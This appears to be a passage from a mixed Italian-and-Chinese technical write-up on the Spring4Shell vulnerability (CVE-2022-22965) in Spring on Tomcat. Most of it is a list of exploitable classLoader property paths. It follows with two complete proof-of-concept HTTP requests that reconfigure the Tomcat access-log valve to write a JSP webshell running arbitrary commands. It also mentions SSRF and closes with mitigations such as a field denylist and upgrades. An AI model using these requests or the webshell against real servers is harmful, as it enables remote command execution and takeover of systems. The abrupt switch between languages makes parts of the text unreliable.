class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultTldScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilityScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilitySkip
class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldScan
class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldSkip
class.module.classLoader.resources.context.manager.engine.backgroundProcessorDelay
class.module.classLoader.resources.context.manager.engine.cluster
class.module.classLoader.resources.context.manager.engine.defaultHost
class.module.classLoader.resources.context.manager.engine.domain
class.module.classLoader.resources.context.manager.engine.jvmRoute
class.module.classLoader.resources.context.manager.engine.name
class.module.classLoader.resources.context.manager.engine.parent
class.module.classLoader.resources.context.manager.engine.parentClassLoader
class.module.classLoader.resources.context.manager.engine.realm
class.module.classLoader.resources.context.manager.engine.service
class.module.classLoader.resources.context.manager.engine.startChildren
class.module.classLoader.resources.context.manager.engine.startStopThreads
class.module.classLoader.resources.context.manager.processExpiresFrequency
class.module.classLoader.resources.context.manager.sessionIdGenerator
class.module.classLoader.resources.context.manager.sessionIdGenerator.jvmRoute
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomAlgorithm
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomClass
class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomProvider
class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
class.module.classLoader.resources.context.namingContextListener.envContext.exceptionOnFailedWrite
class.module.classLoader.resources.context.parent.accessLog.requestAttributesEnabled
class.module.classLoader.resources.context.parent.pipeline.basic
class.module.classLoader.resources.context.parent.pipeline.container
class.module.classLoader.resources.context.parent.startStopExecutor.corePoolSize
class.module.classLoader.resources.context.parent.startStopExecutor.maximumPoolSize
class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
class.module.classLoader.resources.context.realm.cacheSize
class.module.classLoader.resources.context.realm.credentialHandler
class.module.classLoader.resources.context.realm.credentialHandler.algorithm
class.module.classLoader.resources.context.realm.credentialHandler.encoding
class.module.classLoader.resources.context.realm.credentialHandler.iterations
class.module.classLoader.resources.context.realm.credentialHandler.logInvalidStoredCredentials
class.module.classLoader.resources.context.realm.credentialHandler.saltLength
class.module.classLoader.resources.context.realm.failureCount
class.module.classLoader.resources.context.realm.lockOutTime
class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.comment
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.domain
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.httpOnly
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.maxAge
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.name
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.path
class.module.classLoader.resources.context.servletContext.sessionCookieConfig.secure
class.module.classLoader.resources.context.manager.engine.pipeline.basic
class.module.classLoader.resources.context.manager.engine.pipeline.container
class.module.classLoader.resources.context.manager.engine.service
class.module.classLoader.resources.context.manager.engine.service.container
class.module.classLoader.resources.context.manager.engine.service.domain
class.module.classLoader.resources.context.manager.engine.service.name
class.module.classLoader.resources.context.manager.engine.service.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server
class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
class.module.classLoader.resources.context.parent.pipeline.basic
class.module.classLoader.resources.context.parent.pipeline.basic.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.basic.container
class.module.classLoader.resources.context.parent.pipeline.basic.domain
class.module.classLoader.resources.context.parent.pipeline.basic.next
class.module.classLoader.resources.context.parent.pipeline.first.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.first.buffered
class.module.classLoader.resources.context.parent.pipeline.first.checkExists
class.module.classLoader.resources.context.parent.pipeline.first.condition
class.module.classLoader.resources.context.parent.pipeline.first.conditionIf
class.module.classLoader.resources.context.parent.pipeline.first.conditionUnless
class.module.classLoader.resources.context.parent.pipeline.first.container
class.module.classLoader.resources.context.parent.pipeline.first.directory
class.module.classLoader.resources.context.parent.pipeline.first.domain
class.module.classLoader.resources.context.parent.pipeline.first.enabled
class.module.classLoader.resources.context.parent.pipeline.first.encoding
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
class.module.classLoader.resources.context.parent.pipeline.first.locale
class.module.classLoader.resources.context.parent.pipeline.first.next
class.module.classLoader.resources.context.parent.pipeline.first.pattern
class.module.classLoader.resources.context.parent.pipeline.first.prefix
class.module.classLoader.resources.context.parent.pipeline.first.renameOnRotate
class.module.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled
class.module.classLoader.resources.context.parent.pipeline.first.rotatable
class.module.classLoader.resources.context.parent.pipeline.first.suffix
class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
class.module.classLoader.resources.context.realm.credentialHandler.saltLength
class.module.classLoader.resources.context.manager.engine.pipeline.basic
class.module.classLoader.resources.context.manager.engine.pipeline.basic.asyncSupported
class.module.classLoader.resources.context.manager.engine.pipeline.basic.container
class.module.classLoader.resources.context.manager.engine.pipeline.basic.domain
class.module.classLoader.resources.context.manager.engine.pipeline.basic.next
class.module.classLoader.resources.context.manager.engine.service.server
class.module.classLoader.resources.context.manager.engine.service.server.address
class.module.classLoader.resources.context.manager.engine.service.server.catalina
class.module.classLoader.resources.context.manager.engine.service.server.catalinaBase
class.module.classLoader.resources.context.manager.engine.service.server.catalinaHome
class.module.classLoader.resources.context.manager.engine.service.server.domain
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
class.module.classLoader.resources.context.manager.engine.service.server.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server.port
class.module.classLoader.resources.context.manager.engine.service.server.shutdown
class.module.classLoader.resources.context.parent.pipeline.first.next
class.module.classLoader.resources.context.parent.pipeline.first.next.asyncSupported
class.module.classLoader.resources.context.parent.pipeline.first.next.container
class.module.classLoader.resources.context.parent.pipeline.first.next.domain
class.module.classLoader.resources.context.parent.pipeline.first.next.next
class.module.classLoader.resources.context.parent.pipeline.first.next.showReport
class.module.classLoader.resources.context.parent.pipeline.first.next.showServerInfo
class.module.classLoader.resources.context.manager.engine.service.server.catalina
class.module.classLoader.resources.context.manager.engine.service.server.catalina.await
class.module.classLoader.resources.context.manager.engine.service.server.catalina.configFile
class.module.classLoader.resources.context.manager.engine.service.server.catalina.parentClassLoader
class.module.classLoader.resources.context.manager.engine.service.server.catalina.server
class.module.classLoader.resources.context.manager.engine.service.server.catalina.useNaming
class.module.classLoader.resources.context.manager.engine.service.server.catalina.useShutdownHook
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext.exceptionOnFailedWrite
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.container
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.domain
class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.transaction
class.module.classLoader.resources.context.manager.engine.service.server.port
Utilizzando class.module.classLoader.resources.context.parent.pipeline è possibile impostare gli attributi di AccessLog, quindi utilizzare la funzione di scrittura dei log per scrivere una webshell. Il POC è il seguente: ```text GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXXXXX/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dt%20java.io.InputStream%20in%3DRuntime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3Bint%20a%3D-1%3Bbyte%5B%5D%20b%3Dnew%20byte%5B2048%5D%3Bout.print(%22%3Cpre%3E%22)%3Bwhile(a%3Din.read(b)!%3D-1)%7Bout.println(new%20String(b))%3B%7D%20out.print(%22%3C%2Fpre%3E%22)%3B%20%25%7B%25%7Dt%3E


Oppure utilizzare l'intestazione della richiesta per passare il valore di pattern:
* tomcat access log pattern: https://tomcat.apache.org/tomcat-8.0-doc/config/valve.html```
GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXX/webapps/CVE_2022_22965_war/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BCVE-Test-Poc%7Di HTTP/1.1
Host: 127.0.0.1:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
CVE-Test-Poc:<% java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a=-1;byte[] b=new byte[2048];out.print("<pre>");while(a=in.read(b)!=-1){out.println(new String(b));} out.print("</pre>"); %>
Può anche utilizzare class.module.classLoader.resources.context.configFile per SSRF.
Le altre proprietà sfruttabili richiedono un'ulteriore analisi del ruolo di ciascuna proprietà.
Il punto da notare è che modificare le proprietà di cui sopra potrebbe causare il riavvio del servizio, quindi se stai testando da solo non importa, ma non utilizzare mai direttamente questi PoC in un ambiente di produzione, a meno che tu non sia pienamente consapevole e disposto ad accettare le conseguenze dell'exploit!!
Nel metodo di correzione della nuova versione, ci sono principalmente due punti per prevenire la sovrascrittura delle variabili:
disallowFields:```java
@ControllerAdvice
@Order(Ordered.LOWEST_PRECEDENCE)
public class BinderControllerAdvice {
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."};
dataBinder.setDisallowedFields(denylist);
}
}但是这种黑名单的方式可能存在被绕过的可能;临时使用ok,但不是长久之计;
2. 在CachedIntrospectionResults中,获取beaninfo的时候增加了判断,变成了仅允许Class类的name 变量:

**其他规避措施:**
1. tomcat的新版本中也做了漏洞规避,刚开始使用tomcat 8.5.78版本,结果无法浮现,通过调试发现使用class.module.classLoader.resources时在该tomcat的版本下获取的resources是空的,从而导致无法利用,所以升级tomcat版本也可以规避该漏洞;
2. jdk9以下不受该漏洞影响。